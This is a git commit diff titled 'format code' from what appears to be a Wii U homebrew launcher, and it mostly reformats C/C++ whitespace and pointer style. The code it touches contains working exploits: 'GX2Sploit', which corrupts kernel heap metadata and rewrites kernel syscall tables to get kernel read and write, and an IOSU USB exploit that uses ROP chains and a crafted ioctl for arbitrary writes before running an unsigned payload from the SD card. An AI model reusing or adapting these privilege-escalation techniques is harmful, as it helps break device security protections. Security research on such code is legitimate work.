format code

This commit is contained in:
Maschell 2020-07-22 15:12:25 +02:00
parent da8dfaafed
commit 75d940884d
10 changed files with 526 additions and 509 deletions

View File

@ -12,11 +12,10 @@
#include "elf_abi.h"
int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * sizeOut) {
int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t *sizeOut) {
char path[256];
int result = 0;
char * sdRootPath = "";
char *sdRootPath = "";
if (!WHBMountSdCard()) {
WHBLogPrintf("Failed to mount SD Card...");
result = -1;
@ -24,9 +23,9 @@ int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * s
}
sdRootPath = WHBGetSdCardMountPath();
sprintf(path, "%s/%s", sdRootPath,relativefilepath);
sprintf(path, "%s/%s", sdRootPath, relativefilepath);
WHBLogPrintf("Loading file %s.",path);
WHBLogPrintf("Loading file %s.", path);
*fileOut = WHBReadWholeFile(path, sizeOut);
if (!(*fileOut)) {
@ -35,34 +34,35 @@ int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * s
goto exit;
}
exit:
exit:
WHBUnmountSdCard();
return result;
}
static void InstallMain(void *data_elf);
uint32_t load_loader_elf_from_sd(unsigned char* baseAddress, const char* relativePath) {
char * elf_data = NULL;
uint32_t load_loader_elf_from_sd(unsigned char *baseAddress, const char *relativePath) {
char *elf_data = NULL;
uint32_t fileSize = 0;
if(LoadFileToMem(relativePath, &elf_data, &fileSize) != 0) {
if (LoadFileToMem(relativePath, &elf_data, &fileSize) != 0) {
return 0;
}
InstallMain(elf_data);
Elf32_Ehdr* ehdr = ( Elf32_Ehdr*)elf_data;
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) elf_data;
uint32_t res = ehdr->e_entry;
MEMFreeToDefaultHeap((void*)elf_data);
MEMFreeToDefaultHeap((void *) elf_data);
return res;
}
static unsigned int get_section(unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) {
static unsigned int get_section(unsigned char *data, const char *name, unsigned int *size, unsigned int *addr, int fail_on_not_found) {
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
if ( !data
if (!data
|| !IS_ELF (*ehdr)
|| (ehdr->e_type != ET_EXEC)
|| (ehdr->e_machine != EM_PPC)) {
@ -71,19 +71,19 @@ static unsigned int get_section(unsigned char *data, const char *name, unsigned
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
int i;
for(i = 0; i < ehdr->e_shnum; i++) {
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if(strcmp(section_name, name) == 0) {
if(addr)
for (i = 0; i < ehdr->e_shnum; i++) {
const char *section_name = ((const char *) data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if (strcmp(section_name, name) == 0) {
if (addr)
*addr = shdr[i].sh_addr;
if(size)
if (size)
*size = shdr[i].sh_size;
return shdr[i].sh_offset;
}
}
if(fail_on_not_found)
OSFatal((char*)name);
if (fail_on_not_found)
OSFatal((char *) name);
return 0;
}
@ -98,11 +98,11 @@ static void InstallMain(void *data_elf) {
unsigned int section_offset = get_section(data_elf, ".text", &main_text_len, &main_text_addr, 1);
unsigned char *main_text = data_elf + section_offset;
/* Copy main .text to memory */
if(section_offset > 0) {
if (section_offset > 0) {
WHBLogPrintf("%08X %08X %d", main_text_addr, main_text, main_text_len);
memcpy((void*)(main_text_addr), (void *)main_text, main_text_len);
DCFlushRange((void*)main_text_addr, main_text_len);
ICInvalidateRange((void*)main_text_addr, main_text_len);
memcpy((void *) (main_text_addr), (void *) main_text, main_text_len);
DCFlushRange((void *) main_text_addr, main_text_len);
ICInvalidateRange((void *) main_text_addr, main_text_len);
}
@ -110,12 +110,12 @@ static void InstallMain(void *data_elf) {
unsigned int main_rodata_addr = 0;
unsigned int main_rodata_len = 0;
section_offset = get_section(data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0);
if(section_offset > 0) {
if (section_offset > 0) {
unsigned char *main_rodata = data_elf + section_offset;
/* Copy main rodata to memory */
memcpy((void*)(main_rodata_addr), (void *)main_rodata, main_rodata_len);
DCFlushRange((void*)main_rodata_addr, main_rodata_len);
ICInvalidateRange((void*)main_rodata_addr, main_rodata_len);
memcpy((void *) (main_rodata_addr), (void *) main_rodata, main_rodata_len);
DCFlushRange((void *) main_rodata_addr, main_rodata_len);
ICInvalidateRange((void *) main_rodata_addr, main_rodata_len);
}
@ -123,24 +123,24 @@ static void InstallMain(void *data_elf) {
unsigned int main_data_addr = 0;
unsigned int main_data_len = 0;
section_offset = get_section(data_elf, ".data", &main_data_len, &main_data_addr, 0);
if(section_offset > 0) {
if (section_offset > 0) {
unsigned char *main_data = data_elf + section_offset;
/* Copy main data to memory */
memcpy((void*)(main_data_addr), (void *)main_data, main_data_len);
DCFlushRange((void*)main_data_addr, main_data_len);
ICInvalidateRange((void*)main_data_addr, main_data_len);
memcpy((void *) (main_data_addr), (void *) main_data, main_data_len);
DCFlushRange((void *) main_data_addr, main_data_len);
ICInvalidateRange((void *) main_data_addr, main_data_len);
}
// get the .bss section
unsigned int main_bss_addr = 0;
unsigned int main_bss_len = 0;
section_offset = get_section(data_elf, ".bss", &main_bss_len, &main_bss_addr, 0);
if(section_offset > 0) {
if (section_offset > 0) {
unsigned char *main_bss = data_elf + section_offset;
/* Copy main data to memory */
memcpy((void*)(main_bss_addr), (void *)main_bss, main_bss_len);
DCFlushRange((void*)main_bss_addr, main_bss_len);
ICInvalidateRange((void*)main_bss_addr, main_bss_len);
memcpy((void *) (main_bss_addr), (void *) main_bss, main_bss_len);
DCFlushRange((void *) main_bss_addr, main_bss_len);
ICInvalidateRange((void *) main_bss_addr, main_bss_len);
}
}

View File

@ -7,8 +7,8 @@
extern "C" {
#endif
int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * sizeOut);
uint32_t load_loader_elf_from_sd(unsigned char* baseAddress, const char* relativePath);
int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t *sizeOut);
uint32_t load_loader_elf_from_sd(unsigned char *baseAddress, const char *relativePath);
#ifdef __cplusplus
}

View File

@ -23,7 +23,6 @@
#define KERN_HEAP_PHYS 0x1B800000
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_DRVPTR 0xFFEAB530
@ -63,7 +62,7 @@ static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_star
uint32_t *ptr;
/* Search code before JIT area first */
for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++) {
for (ptr = (uint32_t *) gadgets_start; ptr != (uint32_t *) JIT_ADDRESS; ptr++) {
if (!memcmp(ptr, &code[0], length))
return ptr;
}
@ -101,14 +100,14 @@ int exploitThread(int argc, char **argv) {
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
void (*pGX2SetSemaphore)(uint64_t *sem, int action);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void**)&pGX2SetSemaphore);
uint32_t set_semaphore = ((uint32_t)pGX2SetSemaphore) + 0x2C;
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void **) &pGX2SetSemaphore);
uint32_t set_semaphore = ((uint32_t) pGX2SetSemaphore) + 0x2C;
uint32_t gx2_init_attributes[9];
uint8_t *gx2CommandBuffer = (uint8_t*)memalign(0x40, 0x400000);
uint8_t *gx2CommandBuffer = (uint8_t *) memalign(0x40, 0x400000);
gx2_init_attributes[0] = 1;
gx2_init_attributes[1] = (uint32_t)gx2CommandBuffer;
gx2_init_attributes[1] = (uint32_t) gx2CommandBuffer;
gx2_init_attributes[2] = 2;
gx2_init_attributes[3] = 0x400000;
gx2_init_attributes[4] = 7;
@ -119,20 +118,20 @@ int exploitThread(int argc, char **argv) {
GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk)
/* Allocate space for DRVHAX */
uint32_t *drvhax = (uint32_t*) OSAllocFromSystem(0x4c, 4);
uint32_t *drvhax = (uint32_t *) OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax;
metadata[1] = (uint32_t)-0x4c;
metadata[2] = (uint32_t)-1;
metadata[3] = (uint32_t)-1;
uint32_t *metadata = (uint32_t *) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t) drvhax;
metadata[1] = (uint32_t) -0x4c;
metadata[2] = (uint32_t) -1;
metadata[3] = (uint32_t) -1;
/* Find stuff */
uint32_t gx2data[] = {0xfc2a0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
void (*do_flush)(uint32_t arg0, uint32_t arg1) = (void (*)(uint32_t,uint32_t)) find_gadget(doflush, 0x2C, 0x01000000) + 0x14;
void (*do_flush)(uint32_t arg0, uint32_t arg1) = (void (*)(uint32_t, uint32_t)) find_gadget(doflush, 0x2C, 0x01000000) + 0x14;
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
@ -148,44 +147,46 @@ int exploitThread(int argc, char **argv) {
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
DCFlushRange(syscalls, 0x04*2);
DCFlushRange(syscalls, 0x04 * 2);
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
kern_write((void *) (KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void *) KERN_DRVPTR, drvhax[0x48 / 4]);
// Install CopyData syscall
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t)0x1800000);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t)0x1800000);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t)0x1800000);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t)0x1800000);
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t)0x1800000);
kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t) 0x1800000);
/* clean shutdown */
GX2Shutdown();
free(gx2CommandBuffer);
return 0;
}
void KernelWriteU32(uint32_t addr, uint32_t value);
extern "C" void SC_KernelCopyData(uint32_t dst, uint32_t src, uint32_t len);
void KernelWrite(uint32_t addr, const void *data, uint32_t length) {
// This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?)
// further testing required.
for(int32_t i = 0; i<length; i +=4) {
KernelWriteU32(addr + i, *(uint32_t*)(data +i));
for (int32_t i = 0; i < length; i += 4) {
KernelWriteU32(addr + i, *(uint32_t *) (data + i));
}
}
@ -194,12 +195,12 @@ void KernelWriteU32(uint32_t addr, uint32_t value) {
DCFlushRange(&value, 4);
uint32_t dst = (uint32_t) OSEffectiveToPhysical(addr);
uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t)&value);
uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t) &value);
SC_KernelCopyData(dst, src, 4);
DCFlushRange((void *)addr, 4);
ICInvalidateRange((void *)addr, 4);
DCFlushRange((void *) addr, 4);
ICInvalidateRange((void *) addr, 4);
}
@ -208,7 +209,7 @@ void KernelWriteU32FixedAddr(uint32_t addr, uint32_t value) {
DCFlushRange(&value, 4);
uint32_t dst = (uint32_t) addr;
uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t)&value);
uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t) &value);
SC_KernelCopyData(dst, src, 4);
}
@ -239,14 +240,14 @@ extern "C" void SC_0x36_SETBATS(void);
int DoKernelExploit(void) {
WHBLogPrintf("Running GX2Sploit");
/* Make a thread to modify the semaphore */
OSThread *thread = (OSThread*)memalign(8, 0x1000);
uint8_t *stack = (uint8_t*)memalign(0x40, 0x2000);
OSThread *thread = (OSThread *) memalign(8, 0x1000);
uint8_t *stack = (uint8_t *) memalign(0x40, 0x2000);
OSSwitchSecCodeGenMode(0);
memcpy((void*)0x1800000, (void*)&SCKernelCopyData, 0x100);
memcpy((void *) 0x1800000, (void *) &SCKernelCopyData, 0x100);
unsigned int setIBAT0Addr = 0x1800200;
unsigned int * curAddr = (uint32_t*) setIBAT0Addr;
unsigned int *curAddr = (uint32_t *) setIBAT0Addr;
curAddr[0] = 0x7C0006AC;
curAddr[1] = 0x4C00012C;
@ -256,12 +257,12 @@ int DoKernelExploit(void) {
curAddr[5] = 0x4C00012C;
curAddr[6] = 0x4E800020;
DCFlushRange((void*)0x1800000, 0x1000);
ICInvalidateRange((void*)0x1800000, 0x1000);
DCFlushRange((void *) 0x1800000, 0x1000);
ICInvalidateRange((void *) 0x1800000, 0x1000);
OSSwitchSecCodeGenMode(1);
if (OSCreateThread(thread, (OSThreadEntryPointFn)exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) {
if (OSCreateThread(thread, (OSThreadEntryPointFn) exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) {
OSFatal("Failed to create thread");
}
@ -271,10 +272,10 @@ int DoKernelExploit(void) {
free(stack);
unsigned char backupBuffer[0x40];
uint32_t targetBuffer[0x40/4];
uint32_t targetBuffer[0x40 / 4];
uint32_t targetAddress = 0x017FF000;
KernelWrite((uint32_t) backupBuffer, (void*) 0x017FF000, 0x40);
KernelWrite((uint32_t) backupBuffer, (void *) 0x017FF000, 0x40);
targetBuffer[0] = 0x7c7082a6; // mfspr r3, 528
targetBuffer[1] = 0x60630003; // ori r3, r3, 0x03
@ -284,26 +285,26 @@ int DoKernelExploit(void) {
targetBuffer[5] = 0x7c7283a6; // mtspr 530, r3
targetBuffer[6] = 0x7c0006ac; // eieio
targetBuffer[7] = 0x4c00012c; // isync
targetBuffer[8] = 0x3c600000 | (((uint32_t)SCSetupIBAT4DBAT5) >> 16); // lis r3, setup_syscall@h
targetBuffer[9] = 0x60630000 | (((uint32_t)SCSetupIBAT4DBAT5) & 0xFFFF); // ori r3, r3, setup_syscall@l
targetBuffer[8] = 0x3c600000 | (((uint32_t) SCSetupIBAT4DBAT5) >> 16); // lis r3, setup_syscall@h
targetBuffer[9] = 0x60630000 | (((uint32_t) SCSetupIBAT4DBAT5) & 0xFFFF); // ori r3, r3, setup_syscall@l
targetBuffer[10] = 0x7c6903a6; // mtctr r3
targetBuffer[11] = 0x4e800420; // bctr
DCFlushRange(targetBuffer, sizeof(targetBuffer));
KernelWrite((uint32_t) targetAddress, (void*) targetBuffer, 0x40);
KernelWrite((uint32_t) targetAddress, (void *) targetBuffer, 0x40);
/* set our setup syscall to an unused position */
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x36 * 4)), targetAddress);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), targetAddress);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x36 * 4)), targetAddress);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x36 * 4)), targetAddress);
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), targetAddress);
kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x36 * 4)), targetAddress);
kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x36 * 4)), targetAddress);
kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x36 * 4)), targetAddress);
kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x36 * 4)), targetAddress);
kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x36 * 4)), targetAddress);
/* run our kernel code :) */
SC_0x36_SETBATS();
/* repair data */
KernelWrite(targetAddress, backupBuffer, sizeof(backupBuffer));
DCFlushRange((void*)targetAddress, sizeof(backupBuffer));
DCFlushRange((void *) targetAddress, sizeof(backupBuffer));
WHBLogPrintf("GX2Sploit done");
return 1;
}

View File

@ -20,11 +20,12 @@ extern const uint8_t launch_image_tga[];
extern const uint32_t launch_image_tga_size;
static void uhs_exploit_init(int uhs_handle);
static int uhs_write32(int uhs_handle, int arm_addr, int val);
//!------Variables used in exploit------
static int *pretend_root_hub = (int*)0xF5003ABC;
static int *ayylmao = (int*)0xF4500000;
static int *pretend_root_hub = (int *) 0xF5003ABC;
static int *ayylmao = (int *) 0xF4500000;
//!-------------------------------------
typedef struct __attribute__((packed)) {
@ -307,11 +308,11 @@ static void uhs_exploit_init(int dev_uhs_0_handle) {
ayylmao[5] = 1;
ayylmao[8] = 0x500000;
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
memcpy((char *) (0xF4120000), second_chain, sizeof(second_chain));
memcpy((char *) (0xF4130000), final_chain, sizeof(final_chain));
memcpy((char *) (0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
payload_info_t *payloads = (payload_info_t*)0xF4148000;
payload_info_t *payloads = (payload_info_t *) 0xF4148000;
payloads->size = sizeof(ios_usb_bin);
memcpy(payloads->data, ios_usb_bin, payloads->size);
@ -319,24 +320,24 @@ static void uhs_exploit_init(int dev_uhs_0_handle) {
pretend_root_hub[78] = 0;
DCStoreRange(pretend_root_hub + 33, 200);
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
DCStoreRange((void*)0xF4148000, ((uint32_t)0xF4180000) - 0xF4148000);
DCStoreRange((void *) 0xF4120000, sizeof(second_chain));
DCStoreRange((void *) 0xF4130000, sizeof(final_chain));
DCStoreRange((void *) 0xF4140000, sizeof(ios_kernel_bin));
DCStoreRange((void *) 0xF4148000, ((uint32_t) 0xF4180000) - 0xF4148000);
}
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) {
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
OSSleepTicks(0x200000); //! Improves stability
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
int request_buffer[] = {-(0xBEA2C), val}; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
int output_buffer[32];
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
}
int ExecuteIOSExploit() {
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
if(iosuhaxFd >= 0) {
if (iosuhaxFd >= 0) {
int dummy = 0;
IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy));
@ -349,7 +350,7 @@ int ExecuteIOSExploit() {
//! execute exploit
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
if(dev_uhs_0_handle < 0) {
if (dev_uhs_0_handle < 0) {
return dev_uhs_0_handle;
}

View File

@ -27,6 +27,7 @@
#include "ios_exploit.h"
#include "gx2sploit.h"
#ifdef __cplusplus
extern "C" {
#endif
@ -37,7 +38,7 @@ extern "C" {
bool CheckRunning() {
switch(ProcUIProcessMessages(true)) {
switch (ProcUIProcessMessages(true)) {
case PROCUI_STATUS_EXITING: {
return false;
}
@ -69,29 +70,29 @@ int main(int argc, char **argv) {
uint32_t btn = vpad_data.hold | vpad_data.trigger;
bool loadWithoutHacks = false;
bool kernelDone = false;
if((btn & VPAD_BUTTON_ZR) == VPAD_BUTTON_ZR) {
if ((btn & VPAD_BUTTON_ZR) == VPAD_BUTTON_ZR) {
loadWithoutHacks = true;
}
if((btn & VPAD_BUTTON_ZL) == VPAD_BUTTON_ZL) {
if ((btn & VPAD_BUTTON_ZL) == VPAD_BUTTON_ZL) {
// In case that fopen check is not working...
WHBLogPrintf("Force kernel exploit");
kernelDone = true;
DoKernelExploit();
}
if(!kernelDone) {
if(fopen("fs:/vol/external01/wiiu/payload.elf", "r") != NULL) {
if (!kernelDone) {
if (fopen("fs:/vol/external01/wiiu/payload.elf", "r") != NULL) {
WHBLogPrintf("We need the kernel exploit to load the payload");
DoKernelExploit();
}
}
if(!loadWithoutHacks) {
if (!loadWithoutHacks) {
uint32_t entryPoint = load_loader_elf_from_sd(0, "wiiu/payload.elf");
if(entryPoint != 0) {
if (entryPoint != 0) {
WHBLogPrintf("New entrypoint: %08X", entryPoint);
int res = ((int (*)(int, char **))entryPoint)(argc, argv);
if(res > 0) {
int res = ((int (*)(int, char **)) entryPoint)(argc, argv);
if (res > 0) {
WHBLogPrintf("Returning...");
WHBLogUdpDeinit();
return 0;
@ -103,20 +104,20 @@ int main(int argc, char **argv) {
ProcUIInit(OSSavesDone_ReadyToRelease);
DEBUG_FUNCTION_LINE("ProcUIInit done");
if(loadWithoutHacks) {
if (loadWithoutHacks) {
DEBUG_FUNCTION_LINE("Load system menu");
// Restore the default title id to the normal wii u menu.
unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0);
memcpy((void*)0xF417FFF0, &sysmenuIdUll, 8);
DCStoreRange((void*)0xF417FFF0,0x8);
memcpy((void *) 0xF417FFF0, &sysmenuIdUll, 8);
DCStoreRange((void *) 0xF417FFF0, 0x8);
DEBUG_FUNCTION_LINE("THIS IS A TEST %016llX\n",sysmenuIdUll);
DEBUG_FUNCTION_LINE("THIS IS A TEST %016llX\n", sysmenuIdUll);
ExecuteIOSExploit();
SYSLaunchMenu();
}
while(CheckRunning()) {
while (CheckRunning()) {
// wait.
OSSleepTicks(OSMillisecondsToTicks(100));
}

View File

@ -36,13 +36,13 @@
#include <utils/StringTools.h>
BOOL StringTools::EndsWith(const std::string& a, const std::string& b) {
BOOL StringTools::EndsWith(const std::string &a, const std::string &b) {
if (b.size() > a.size())
return false;
return std::equal(a.begin() + a.size() - b.size(), a.end(), b.begin());
}
const char * StringTools::byte_to_binary(int32_t x) {
const char *StringTools::byte_to_binary(int32_t x) {
static char b[9];
b[0] = '\0';
@ -54,25 +54,25 @@ const char * StringTools::byte_to_binary(int32_t x) {
return b;
}
std::string StringTools::removeCharFromString(std::string& input,char toBeRemoved) {
std::string StringTools::removeCharFromString(std::string &input, char toBeRemoved) {
std::string output = input;
size_t position;
while(1) {
while (1) {
position = output.find(toBeRemoved);
if(position == std::string::npos)
if (position == std::string::npos)
break;
output.erase(position, 1);
}
return output;
}
const char * StringTools::fmt(const char * format, ...) {
const char *StringTools::fmt(const char *format, ...) {
static char strChar[512];
strChar[0] = 0;
va_list va;
va_start(va, format);
if((vsprintf(strChar, format, va) >= 0)) {
if ((vsprintf(strChar, format, va) >= 0)) {
va_end(va);
return (const char *) strChar;
}
@ -81,26 +81,26 @@ const char * StringTools::fmt(const char * format, ...) {
return NULL;
}
const wchar_t * StringTools::wfmt(const char * format, ...) {
const wchar_t *StringTools::wfmt(const char *format, ...) {
static char tmp[512];
static wchar_t strWChar[512];
strWChar[0] = 0;
tmp[0] = 0;
if(!format)
if (!format)
return (const wchar_t *) strWChar;
if(strcmp(format, "") == 0)
if (strcmp(format, "") == 0)
return (const wchar_t *) strWChar;
va_list va;
va_start(va, format);
if((vsprintf(tmp, format, va) >= 0)) {
if ((vsprintf(tmp, format, va) >= 0)) {
int bt;
int32_t strlength = strlen(tmp);
bt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512 );
bt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512);
if(bt > 0) {
if (bt > 0) {
strWChar[bt] = 0;
return (const wchar_t *) strWChar;
}
@ -110,14 +110,14 @@ const wchar_t * StringTools::wfmt(const char * format, ...) {
return NULL;
}
int32_t StringTools::strprintf(std::string &str, const char * format, ...) {
int32_t StringTools::strprintf(std::string &str, const char *format, ...) {
static char tmp[512];
tmp[0] = 0;
int32_t result = 0;
va_list va;
va_start(va, format);
if((vsprintf(tmp, format, va) >= 0)) {
if ((vsprintf(tmp, format, va) >= 0)) {
str = tmp;
result = str.size();
}
@ -126,14 +126,14 @@ int32_t StringTools::strprintf(std::string &str, const char * format, ...) {
return result;
}
std::string StringTools::strfmt(const char * format, ...) {
std::string StringTools::strfmt(const char *format, ...) {
std::string str;
static char tmp[512];
tmp[0] = 0;
va_list va;
va_start(va, format);
if((vsprintf(tmp, format, va) >= 0)) {
if ((vsprintf(tmp, format, va) >= 0)) {
str = tmp;
}
va_end(va);
@ -141,8 +141,8 @@ std::string StringTools::strfmt(const char * format, ...) {
return str;
}
BOOL StringTools::char2wchar_t(const char * strChar, wchar_t * dest) {
if(!strChar || !dest)
BOOL StringTools::char2wchar_t(const char *strChar, wchar_t *dest) {
if (!strChar || !dest)
return false;
int bt;
@ -155,39 +155,39 @@ BOOL StringTools::char2wchar_t(const char * strChar, wchar_t * dest) {
return false;
}
int32_t StringTools::strtokcmp(const char * string, const char * compare, const char * separator) {
if(!string || !compare)
int32_t StringTools::strtokcmp(const char *string, const char *compare, const char *separator) {
if (!string || !compare)
return -1;
char TokCopy[512];
strncpy(TokCopy, compare, sizeof(TokCopy));
TokCopy[511] = '\0';
char * strTok = strtok(TokCopy, separator);
char *strTok = strtok(TokCopy, separator);
while (strTok != NULL) {
if (strcasecmp(string, strTok) == 0) {
return 0;
}
strTok = strtok(NULL,separator);
strTok = strtok(NULL, separator);
}
return -1;
}
int32_t StringTools::strextcmp(const char * string, const char * extension, char seperator) {
if(!string || !extension)
int32_t StringTools::strextcmp(const char *string, const char *extension, char seperator) {
if (!string || !extension)
return -1;
char *ptr = strrchr(string, seperator);
if(!ptr)
if (!ptr)
return -1;
return strcasecmp(ptr + 1, extension);
}
std::vector<std::string> StringTools::stringSplit(const std::string & inValue, const std::string & splitter) {
std::vector<std::string> StringTools::stringSplit(const std::string &inValue, const std::string &splitter) {
std::string value = inValue;
std::vector<std::string> result;
while (true) {
@ -202,7 +202,7 @@ std::vector<std::string> StringTools::stringSplit(const std::string & inValue, c
result.push_back("");
break;
}
if(index + splitter.size() > value.length()) {
if (index + splitter.size() > value.length()) {
break;
}
value = value.substr(index + splitter.size(), value.length());
@ -211,39 +211,39 @@ std::vector<std::string> StringTools::stringSplit(const std::string & inValue, c
}
const char * StringTools::FullpathToFilename(const char *path) {
if(!path)
const char *StringTools::FullpathToFilename(const char *path) {
if (!path)
return path;
const char * ptr = path;
const char * Filename = ptr;
const char *ptr = path;
const char *Filename = ptr;
while(*ptr != '\0') {
if(ptr[0] == '/' && ptr[1] != '\0')
Filename = ptr+1;
while (*ptr != '\0') {
if (ptr[0] == '/' && ptr[1] != '\0')
Filename = ptr + 1;
++ptr;
}
return Filename;
}
}
void StringTools::RemoveDoubleSlashs(std::string &str) {
uint32_t length = str.size();
//! clear path of double slashes
for(uint32_t i = 1; i < length; ++i) {
if(str[i-1] == '/' && str[i] == '/') {
for (uint32_t i = 1; i < length; ++i) {
if (str[i - 1] == '/' && str[i] == '/') {
str.erase(i, 1);
i--;
length--;
}
}
}
}
// You must free the result if result is non-NULL.
char * StringTools::str_replace(char *orig, char *rep, char *with) {
char *StringTools::str_replace(char *orig, char *rep, char *with) {
char *result; // the return string
char *ins; // the next insert point
char *tmp; // varies
@ -268,7 +268,7 @@ char * StringTools::str_replace(char *orig, char *rep, char *with) {
ins = tmp + len_rep;
}
tmp = result = (char*)malloc(strlen(orig) + (len_with - len_rep) * count + 1);
tmp = result = (char *) malloc(strlen(orig) + (len_with - len_rep) * count + 1);
if (!result)
return NULL;

View File

@ -32,20 +32,33 @@
class StringTools {
public:
static BOOL EndsWith(const std::string& a, const std::string& b);
static const char * byte_to_binary(int32_t x);
static std::string removeCharFromString(std::string& input,char toBeRemoved);
